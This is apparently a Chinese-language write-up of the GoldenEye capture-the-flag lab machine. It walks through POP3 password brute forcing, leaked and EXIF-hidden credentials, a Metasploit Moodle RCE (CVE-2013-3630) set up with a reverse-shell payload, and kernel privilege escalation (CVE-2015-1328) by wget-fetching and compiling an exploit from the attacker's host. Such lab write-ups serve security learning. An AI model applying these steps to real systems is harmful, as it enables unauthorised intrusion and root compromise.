壹 题目信息
名字:GoldenEye
靶机地址:传送门
靶机IP:192.168.239.147
贰 解题
端口扫描:

存在25,80,110,55006,55007端口开放,接着从80入手,访问:

存在两个问题:terminal.js和/sev-home/,分别访问发现http://192.168.239.147/terminal.js存在密码泄露,http://192.168.239.147/sev-home/需要登录:


http://192.168.239.147/terminal.js存在密码泄露,即将InvincibleHack3r进行HTML编码,获得密码为:InvincibleHack3r,并且根据提示发现用户名为Boris,由于外国人的名字首字母大写,所以原来的用户名应该是boris:

登陆后,查看前端信息发现,包含两个管理员Natalya、Boris,在根据网页里面的提示打开了pop3,回想起前面的两个高端口:

通过telnet访问两个端口发现55007存在pop3:

尝试登录,发现前面的用户名密码已经用不了:

开始尝试爆破,根据前面的两个用户名生成四个用户名Natalya、natalya、Boris、boris:

[55007][pop3] host: 192.168.239.147 login: Natalya password: bird
[55007][pop3] host: 192.168.239.147 login: natalya password: bird
[55007][pop3] host: 192.168.239.147 login: Boris password: secret1!
[55007][pop3] host: 192.168.239.147 login: boris password: secret1!
Natalya和natalya,Boris和boris属于同一账户,邮件内容一样,登录natalya邮箱进行查看:

查看两封邮件发现,存在一个用户名密码以及一个域名以及/etc/hosts:
域名:severnaya-station.com/gnocertdir
用户名密码:
username: xenia
password: RCP90rulez!
登录boris邮箱进行查看:

提示了有一份文件使用GoldenEye作为访问代码作为附件发送,并且放在此服务器的根目录下隐藏文件,但此处无法查看到附件内容,不过我们可以根据natalya邮箱,设置hosts文件,访问:http://severnaya-station.com/gnocertdir/:

可以发现是一个moodle开源cms系统,简单翻阅一下,发现存在登录,尝试前面的用户名密码:xenia\RCP90rulez!,登陆成功:

接着又是翻阅,发现一个用户doak,是邮箱,我们接着对其进行爆破,发现也是弱口令doak\goat:

登录查看邮箱,存在一个邮件:

查看邮件又获得一个用户名密码dr_doak\4England!:

登录该用户,获得一个文件:

下载下来了,查看,说在这个目录/dir007key/for-007.jpg有一个图片,可能包含adm1n的信息:

访问http://severnaya-station.com/dir007key/for-007.jpg,下载下来:

对图片进行一遍操作,发现使用exiftool for-007.jpg执行发现有base64编码:eFdpbnRlcjE5OTV4IQ==,必有猫腻,解码为xWinter1995x!,猜测会不会是前面admin的密码:

尝试后发现是admin,登录后,查看有没有有用的信息,可以看到是moodle版本为2.2.3:

在网上查找对应版本的漏洞,发现为有CVE-2013-3630,尝试使用msf进行攻击:
search CVE-2013-3630
use exploit/multi/http/moodle_spelling_binary_rce
set username admin
set password xWinter1995x!
set rhosts severnaya-station.com
set targeturi /gnocertdir
set payload cmd/unix/reverse
set lhost 192.168.239.142
options


注意这时候还不可以利用,因为msf的底层代码使用的是pspellshell,网页使用的是Googleshell,导致没有办法去运行,所以在网页的TinyMCE HTML editor处选择pspellshell:

然后利用:

利用后获得的是一个伪shell,所以我们可以使用python -c 'import pty; pty.spawn("/bin/bash")' 获得一个交互的shell:

查看系统信息,发现内核版本Linux ubuntu 3.13.0-32,存在CVE-2015-1328提取漏洞,kali里有CVE-2015-1328攻击脚本:

searchsploit 37292
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/桌面/
// 由于靶场无法进行gcc编译,需要改成cc,即编辑脚本37292.c,将第143行的gcc改成cc


然后在存在exp的目录下开http服务:python2 -m SimpleHTTPServer 8888,接着在msf获得的靶机终端,执行wget http://10.10.10.129:8888/37292.c,并编译cc -o exp 37292.c ,最后执行exp,在/root目录下的.flag.txt获得flag:



根据提示访问http://severnaya-station.com/006-final/xvf7-flag/:

叁 需要学习的知识
pop服务访问Linux提权:CVE-2015-1328